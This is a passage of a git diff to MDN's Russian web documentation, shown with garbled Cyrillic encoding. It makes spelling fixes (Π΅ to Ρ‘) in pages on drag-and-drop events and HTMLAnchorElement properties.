Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅Β <a href="/en-US/docs/Web/Guide/HTML/Drag_operations#drageffects" title="Drag Effects">Drag Effects</a> для Π΄Π΅Ρ‚Π°Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ.</li>
<li>ΠžΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ ΠΎΠ±Π»Π°ΡΡ‚ΡŒ назначСния. По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π½Π΅ позволяСт ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π°Ρ‚ΡŒ Ρ‡Ρ‚ΠΎ-Π»ΠΈΠ±ΠΎ Π½Π° HTML элСмСнт. Однако, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ элСмСнт Π°ΠΊΡ‚ΠΈΠ²Π½Ρ‹ΠΌ для пСрСмСщСния Π΄Ρ€ΡƒΠ³ΠΈΡ… элСмСнтов Π½Π° Π½Π΅Π³ΠΎ, просто ΠΎΡ‚ΠΌΠ΅Π½ΠΈΡ‚Π΅ дСйствиС ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ.Β Π’ΠΎΒ Π΅ΡΡ‚ΡŒ, ΠΏΠΎΠ΄ΠΏΠΈΡˆΠΈΡ‚Π΅ΡΡŒ Π½Π° события "ondragenter" ΠΈΠ»ΠΈΒ "ondragover". Для Π΄Π΅Ρ‚Π°Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ смотритС <a href="https://developer.mozilla.org/en-US/docs/Web/Guide/HTML/Drag_operations#droptargets">Specifying Drop Targets</a>.</li>
<li>ΠžΠ±Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΠ΅ пСрСноса. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅ ΠΈΠ· пСрСносимого элСмСнта ΠΈ произвСсти Π½Π°Π΄ Π½ΠΈΠΌΠΈ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Π΅ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ. Для Π΄Π΅Ρ‚Π°Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ, поТалуйста, смотритС <a href="https://developer.mozilla.org/en-US/docs/Web/Guide/HTML/Drag_operations#drop">Performing a Drop</a>.</li>
</ul>
@@ -48,7 +48,7 @@ original_slug: Web/Guide/HTML/Drag_and_drop
<dt><code>dragstart</code></dt>
<dd>Π‘Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚ ΠΊΠΎΠ³Π΄Π° элСмСнт Π½Π°Ρ‡Π°Π» ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π°Ρ‚ΡŒΡΡ. Π’ ΠΌΠΎΠΌΠ΅Π½Ρ‚ срабатывания события <code>dragstart</code> ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π°Ρ‡ΠΈΠ½Π°Π΅Ρ‚ пСрСтаскиваниС элСмСнта. ΠžΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ Π΄Π°Π½Π½ΠΎΠ³ΠΎ события ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использован для сохранСния ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π°Π΅ΠΌΠΎΠΌ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅, Π° Ρ‚Π°ΠΊΠΆΠ΅ для измСнСния изобраТСния, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ ассоциировано с ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π΅Π½ΠΈΠ΅ΠΌ. Π”Π°Π½Π½ΠΎΠ΅ событиС Π½Π΅ срабатываСт, ΠΊΠΎΠ³Π΄Π° Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Ρ„Π°ΠΉΠ» Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠ΅Ρ€Π΅Π½ΠΎΡΠΈΡ‚ΡŒΡΡ ΠΈΠ· ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΎΠ½Π½ΠΎΠΉ систСмы Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€. Для Π΄Π΅Ρ‚Π°Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈΒ <a href="/en-US/docs/DragDrop/Drag_Operations#dragstart" title="Starting a Drag Operation">Starting a Drag Operation</a>.</dd>
<dt><code>dragenter</code></dt>
- <dd>Π‘Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚, ΠΊΠΎΠ³Π΄Π° ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π°Π΅ΠΌΡ‹ΠΉ элСмСнт ΠΏΠΎΠΏΠ°Π΄Π°Π΅Ρ‚ Π½Π° элСмСнт-Π½Π°Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅. ΠžΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ этого события ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ элСмСнт находится Π½Π°Π΄ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌΒ Π½Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ пСрСнСсСн. Если ΠΆΠ΅ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° Π½Π΅Ρ‚, Π»ΠΈΠ±ΠΎ ΠΎΠ½ Π½Π΅ ΡΠΎΠ²Π΅Ρ€ΡˆΠ°Π΅Ρ‚ Π½ΠΈΠΊΠ°ΠΊΠΈΡ… дСйствий ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Π·Π°ΠΏΡ€Π΅Ρ‰Π΅Π½ΠΎ. Π­Ρ‚ΠΎ событиС Ρ‚Π°ΠΊΠΆΠ΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ΄ΡΠ²Π΅Ρ‚ΠΈΡ‚ΡŒ Π»ΠΈΠ±ΠΎ ΠΏΡ€ΠΎΠΌΠ°Ρ€ΠΊΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Π½Π°Π΄ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ происходит пСрСмСщСния Π² случаС, Ссли ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π΅Π½ΠΈΠ΅ Π½Π° Π΄Π°Π½Π½Ρ‹ΠΉ элСмСнт Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΎ. Для Π΄Π΅Ρ‚Π°Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ смотритС <a href="/en-US/docs/DragDrop/Drag_Operations#droptargets" title="Specifying Drop Targets">Specifying Drop Targets</a>.</dd>
+ <dd>Π‘Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚, ΠΊΠΎΠ³Π΄Π° ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π°Π΅ΠΌΡ‹ΠΉ элСмСнт ΠΏΠΎΠΏΠ°Π΄Π°Π΅Ρ‚ Π½Π° элСмСнт-Π½Π°Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅. ΠžΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ этого события ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ элСмСнт находится Π½Π°Π΄ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌΒ Π½Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ пСрСнСсён. Если ΠΆΠ΅ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° Π½Π΅Ρ‚, Π»ΠΈΠ±ΠΎ ΠΎΠ½ Π½Π΅ ΡΠΎΠ²Π΅Ρ€ΡˆΠ°Π΅Ρ‚ Π½ΠΈΠΊΠ°ΠΊΠΈΡ… дСйствий ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Π·Π°ΠΏΡ€Π΅Ρ‰Π΅Π½ΠΎ. Π­Ρ‚ΠΎ событиС Ρ‚Π°ΠΊΠΆΠ΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ΄ΡΠ²Π΅Ρ‚ΠΈΡ‚ΡŒ Π»ΠΈΠ±ΠΎ ΠΏΡ€ΠΎΠΌΠ°Ρ€ΠΊΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Π½Π°Π΄ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ происходит пСрСмСщСния Π² случаС, Ссли ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π΅Π½ΠΈΠ΅ Π½Π° Π΄Π°Π½Π½Ρ‹ΠΉ элСмСнт Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΎ. Для Π΄Π΅Ρ‚Π°Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ смотритС <a href="/en-US/docs/DragDrop/Drag_Operations#droptargets" title="Specifying Drop Targets">Specifying Drop Targets</a>.</dd>
<dt><code>dragover</code></dt>
<dd>Π”Π°Π½Π½ΠΎΠ΅ событиС срабатываСт ΠΊΠ°ΠΆΠ΄Ρ‹Π΅ нСсколько сотСн миллисСкунд, ΠΊΠΎΠ³Π΄Π° ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π°Π΅ΠΌΡ‹ΠΉ элСмСнт оказываСтся Π½Π°Π΄ Π·ΠΎΠ½ΠΎΠΉ, ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°ΡŽΡ‰Π΅ΠΉ пСрСтаскиваСмыС элСмСнты. Для Π΄Π΅Ρ‚Π°Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ смотритС <a href="/en-US/docs/DragDrop/Drag_Operations#droptargets" title="Specifying Drop Targets">Specifying Drop Targets</a>.</dd>
<dt><code>dragleave</code></dt>
@@ -56,7 +56,7 @@ original_slug: Web/Guide/HTML/Drag_and_drop
<dt><code>drag</code></dt>
<dd>ЗапускаСтся ΠΏΡ€ΠΈ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π΅Π½ΠΈΠΈ элСмСнта ΠΈΠ»ΠΈ Π²Ρ‹Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ тСкста.</dd>
<dt><code>drop</code></dt>
- <dd>Π‘ΠΎΠ±Ρ‹Ρ‚ΠΈΠ΅Β <code>drop</code> вызываСтся для элСмСнта, Π½Π°Π΄ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ ΠΏΡ€ΠΎΠΈΠ·ΠΎΡˆΠ»ΠΎ "сбрасываниС" ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π°Π΅ΠΌΠΎΠ³ΠΎ элСмСнта. Π‘ΠΎΠ±Ρ‹Ρ‚ΠΈΠ΅ ΠΎΡ‚Π²Π΅Ρ‡Π°Π΅Ρ‚ Π·Π° ΠΈΠ·Π²Π»Π΅Ρ‡Π΅Π½ΠΈΠ΅ "ΡΠ±Ρ€ΠΎΡˆΠ΅Π½Π½Ρ‹Ρ…" Π΄Π°Π½Π½Ρ‹Ρ… ΠΈ ΠΈΡ… вставку. Π‘ΠΎΠ±Ρ‹Ρ‚ΠΈΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ ΡΡ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΡ€ΠΈ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ пСрСтаскивания, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, событиС Π½Π΅ сработаСт, Ссли ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΎΡ‚ΠΌΠ΅Π½ΠΈΡ‚ пСрСтаскиваниС Π½Π°ΠΆΠ°Ρ‚ΠΈΠ΅ΠΌ Esc, ΠΈΠ»ΠΈ Π½Π΅ донСсСт элСмСнт, Π΄ΠΎ Ρ†Π΅Π»ΠΈ. Для Π΄Π΅Ρ‚Π°Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ смотритС <a href="https://developer.mozilla.org/en-US/docs/DragDrop/Drag_Operations#drop" title="Performing a Drop">Performing a Drop</a>.</dd>
+ <dd>Π‘ΠΎΠ±Ρ‹Ρ‚ΠΈΠ΅Β <code>drop</code> вызываСтся для элСмСнта, Π½Π°Π΄ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ ΠΏΡ€ΠΎΠΈΠ·ΠΎΡˆΠ»ΠΎ "сбрасываниС" ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π°Π΅ΠΌΠΎΠ³ΠΎ элСмСнта. Π‘ΠΎΠ±Ρ‹Ρ‚ΠΈΠ΅ ΠΎΡ‚Π²Π΅Ρ‡Π°Π΅Ρ‚ Π·Π° ΠΈΠ·Π²Π»Π΅Ρ‡Π΅Π½ΠΈΠ΅ "ΡΠ±Ρ€ΠΎΡˆΠ΅Π½Π½Ρ‹Ρ…" Π΄Π°Π½Π½Ρ‹Ρ… ΠΈ ΠΈΡ… вставку. Π‘ΠΎΠ±Ρ‹Ρ‚ΠΈΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ ΡΡ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΏΡ€ΠΈ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ пСрСтаскивания, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, событиС Π½Π΅ сработаСт, Ссли ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΎΡ‚ΠΌΠ΅Π½ΠΈΡ‚ пСрСтаскиваниС Π½Π°ΠΆΠ°Ρ‚ΠΈΠ΅ΠΌ Esc, ΠΈΠ»ΠΈ Π½Π΅ донСсёт элСмСнт, Π΄ΠΎ Ρ†Π΅Π»ΠΈ. Для Π΄Π΅Ρ‚Π°Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ смотритС <a href="https://developer.mozilla.org/en-US/docs/DragDrop/Drag_Operations#drop" title="Performing a Drop">Performing a Drop</a>.</dd>
<dt><code>dragend</code></dt>
<dd>Π˜ΡΡ‚ΠΎΡ‡Π½ΠΈΠΊ пСрСтаскивания ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ событиС dragend, ΠΊΠΎΠ³Π΄Π° пСрСтаскиваниС Π·Π°Π²Π΅Ρ€ΡˆΠΈΡ‚ΡΡ, Π±Ρ‹Π»ΠΎ ΠΎΠ½ΠΎ ΡƒΠ΄Π°Ρ‡Π½Ρ‹ΠΌ ΠΈΠ»ΠΈ Π½Π΅Ρ‚. Π­Ρ‚ΠΎ событиС Π½Π΅ вызываСтся ΠΏΡ€ΠΈ пСрСтаскивании Ρ„Π°ΠΉΠ»Π° Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΈΠ· ОБ.Β Β  Для Π΄Π΅Ρ‚Π°Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ смотритС <a href="/en-US/docs/DragDrop/Drag_Operations#dragend" title="Finishing a Drag">Finishing a Drag</a>.</dd>
</dl>
diff --git a/files/ru/web/api/htmlanchorelement/hash/index.html b/files/ru/web/api/htmlanchorelement/hash/index.html
index e190f78636..32bc1b5ecc 100644
--- a/files/ru/web/api/htmlanchorelement/hash/index.html
+++ b/files/ru/web/api/htmlanchorelement/hash/index.html
@@ -24,7 +24,7 @@ original_slug: Web/API/HTMLHyperlinkElementUtils/hash
<pre class="brush: js">// Допустим, Ρ‡Ρ‚ΠΎ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ содСрТит элСмСнт &lt;a id="myAnchor" href="https://developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils.href#youhou"&gt;
var anchor = document.getElementByID("myAnchor");
-var result = anchor.hash; // Π’Π΅Ρ€Π½Π΅Ρ‚: '#youhou'</pre>
+var result = anchor.hash; // Π’Π΅Ρ€Π½Ρ‘Ρ‚: '#youhou'</pre>
<h2 id="Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ">Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ</h2>
diff --git a/files/ru/web/api/htmlanchorelement/hostname/index.html b/files/ru/web/api/htmlanchorelement/hostname/index.html
index ef35c6709f..97fb6a472b 100644
--- a/files/ru/web/api/htmlanchorelement/hostname/index.html
+++ b/files/ru/web/api/htmlanchorelement/hostname/index.html
@@ -24,7 +24,7 @@ original_slug: Web/API/HTMLHyperlinkElementUtils/hostname
<pre class="brush: js">// Допустим, Ρ‡Ρ‚ΠΎ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ содСрТит элСмСнт &lt;a id="myAnchor" href="https://developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils.hostname"&gt;
var anchor = document.getElementByID("myAnchor");
-var result = anchor.hostname; // Π’Π΅Ρ€Π½Π΅Ρ‚: 'developer.mozilla.org'</pre>
+var result = anchor.hostname; // Π’Π΅Ρ€Π½Ρ‘Ρ‚: 'developer.mozilla.org'</pre>
<h2 id="Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ">Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ</h2>
diff --git a/files/ru/web/api/htmlanchorelement/href/index.html b/files/ru/web/api/htmlanchorelement/href/index.html
index 0f03176a62..a295ccfa16 100644
--- a/files/ru/web/api/htmlanchorelement/href/index.html
+++ b/files/ru/web/api/htmlanchorelement/href/index.html
@@ -26,7 +26,7 @@ original_slug: Web/API/HTMLHyperlinkElementUtils/href
<pre class="brush: js">// Допустим, Ρ‡Ρ‚ΠΎ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ содСрТит элСмСнт &lt;a id="myAnchor" href="https://developer.mozilla.org/en-US/HTMLHyperlinkElementUtils/href"&gt;
var anchor = document.getElementById("myAnchor");
-var result = anchor.href; // Π’Π΅Ρ€Π½Π΅Ρ‚: 'https://developer.mozilla.org/en-US/HTMLHyperlinkElementUtils/href'
+var result = anchor.href; // Π’Π΅Ρ€Π½Ρ‘Ρ‚: 'https://developer.mozilla.org/en-US/HTMLHyperlinkElementUtils/href'
</pre>
<h2 id="Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ">Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ</h2>
diff --git a/files/ru/web/api/htmlanchorelement/index.html b/files/ru/web/api/htmlanchorelement/index.html
index 11f17a3c80..930449ad39 100644
--- a/files/ru/web/api/htmlanchorelement/index.html
+++ b/files/ru/web/api/htmlanchorelement/index.html
@@ -20,7 +20,7 @@ translation_of: Web/API/HTMLAnchorElement
<dt>{{domxref("HTMLAnchorElement.charset")}} {{obsolete_inline}}</dt>
<dd>Π­Ρ‚ΠΎ {{domxref("DOMString")}} ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅Ρ‚ ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²ΠΊΡƒ символов связанного рСсурса.</dd>
<dt>{{domxref("HTMLAnchorElement.coords")}} {{obsolete_inline}}</dt>
- <dd>Π­Ρ‚ΠΎ {{domxref("DOMString")}} ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅Ρ‚ список ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚ Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ запятыми.</dd>
+ <dd>Π­Ρ‚ΠΎ {{domxref("DOMString")}} ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅Ρ‚ список ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚ Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ запятыми.</dd>
<dt>{{domxref("HTMLAnchorElement.download")}} {{experimental_inline}}</dt>
<dd>Π­Ρ‚ΠΎ {{domxref("DOMString")}} ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Ρ‚ΡŒ Ρ‡Ρ‚ΠΎ связанный рСсурс ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½ для Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ, Π° Π½Π΅ для отобраТСния Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ прСдставляСт ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»Π°Π³Π°Π΅ΠΌΠΎΠ΅ имя Ρ„Π°ΠΉΠ»Π°. Если имя Π½Π΅ являСтся допустимым ΠΈΠΌΠ΅Π½Π΅ΠΌ Ρ„Π°ΠΉΠ»Π° Π½ΠΈΠΆΠ΅Π»Π΅ΠΆΠ°Ρ‰Π΅ΠΉ ОБ, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π±ΡƒΠ΄Π΅Ρ‚ Π°Π΄Π°ΠΏΡ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π³ΠΎ. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ это URL ΠΏΠΎ схСмС <code>http:</code>, <code>file:</code>, <code>data:</code> ΠΈΠ»ΠΈ Π΄Π°ΠΆΠ΅ <code>blob:</code> (созданный с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ {{domxref("URL.createObjectURL")}}).</dd>
<dt>{{domxref("URLUtils.hash")}}</dt>
@@ -68,7 +68,7 @@ translation_of: Web/API/HTMLAnchorElement
<dt>{{domxref("HTMLAnchorElement.type")}}</dt>
<dd>Π­Ρ‚ΠΎ {{domxref("DOMString")}} ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅Ρ‚ {{htmlattrxref("type", "a")}} HTML Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚, ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ MIME Ρ‚ΠΈΠΏ связанного рСсурса.</dd>
<dt>{{domxref("URLUtils.username")}}</dt>
- <dd>Π­Ρ‚ΠΎ {{domxref("DOMString")}} содСрТащий имя ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ΅ ΠΏΠ΅Ρ€Π΅Π΄ ΠΈΠΌΠ΅Π½Π΅ΠΌ Π΄ΠΎΠΌΠ΅Π½Π°.</dd>
+ <dd>Π­Ρ‚ΠΎ {{domxref("DOMString")}} содСрТащий имя ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ΅ ΠΏΠ΅Ρ€Π΅Π΄ ΠΈΠΌΠ΅Π½Π΅ΠΌ Π΄ΠΎΠΌΠ΅Π½Π°.</dd>
</dl>
<h2 id="ΠœΠ΅Ρ‚ΠΎΠ΄Ρ‹">ΠœΠ΅Ρ‚ΠΎΠ΄Ρ‹</h2>
@@ -79,7 +79,7 @@ translation_of: Web/API/HTMLAnchorElement
<dt>{{domxref("HTMLElement.blur()")}}</dt>
<dd>УдаляСт фокус ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Ρ‹ ΠΈΠ· Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ элСмСнта.</dd>
<dt>{{domxref("HTMLElement.focus()")}}</dt>
- <dd>Π”Π°Π΅Ρ‚ фокус ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Ρ‹ Π½Π° Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉ элСмСнт.</dd>
+ <dd>Π”Π°Ρ‘Ρ‚ фокус ΠΊΠ»Π°Π²ΠΈΠ°Ρ‚ΡƒΡ€Ρ‹ Π½Π° Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΉ элСмСнт.</dd>
<dt>{{domxref("URLUtils.toString()")}}</dt>
<dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ {{domxref("DOMString")}} содСрТащий вСсь URl. Π­Ρ‚ΠΎ синоним {{domxref("URLUtils.href")}}, хотя ΠΎΠ½ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использован для измСнСния значСния.</dd>
</dl>
diff --git a/files/ru/web/api/htmlanchorelement/origin/index.html b/files/ru/web/api/htmlanchorelement/origin/index.html
index 571cc669db..a9ad24f508 100644
--- a/files/ru/web/api/htmlanchorelement/origin/index.html
+++ b/files/ru/web/api/htmlanchorelement/origin/index.html
@@ -32,7 +32,7 @@ original_slug: Web/API/HTMLHyperlinkElementUtils/origin
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹">ΠŸΡ€ΠΈΠΌΠ΅Ρ€Ρ‹</h2>
<pre class="brush: js">// На этой страницС
-var result = window.location.origin; // Π’Π΅Ρ€Π½Π΅Ρ‚: 'https://developer.mozilla.org'
+var result = window.location.origin; // Π’Π΅Ρ€Π½Ρ‘Ρ‚: 'https://developer.mozilla.org'
</pre>
<h2 id="Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ">Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ</h2>
diff --git a/files/ru/web/api/htmlanchorelement/password/index.html b/files/ru/web/api/htmlanchorelement/password/index.html
index c6a5751d25..c38ec9c4a6 100644
--- a/files/ru/web/api/htmlanchorelement/password/index.html
+++ b/files/ru/web/api/htmlanchorelement/password/index.html
@@ -26,7 +26,7 @@ original_slug: Web/API/HTMLHyperlinkElementUtils/password
<pre class="brush: js">// Допустим, Ρ‡Ρ‚ΠΎ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ содСрТит элСмСнт &lt;a id="myAnchor" href="https://anonymous:flabada@developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils.username"&gt;
var anchor = document.getElementByID("myAnchor");
-var result = anchor.password; // Π’Π΅Ρ€Π½Π΅Ρ‚: 'flabada'
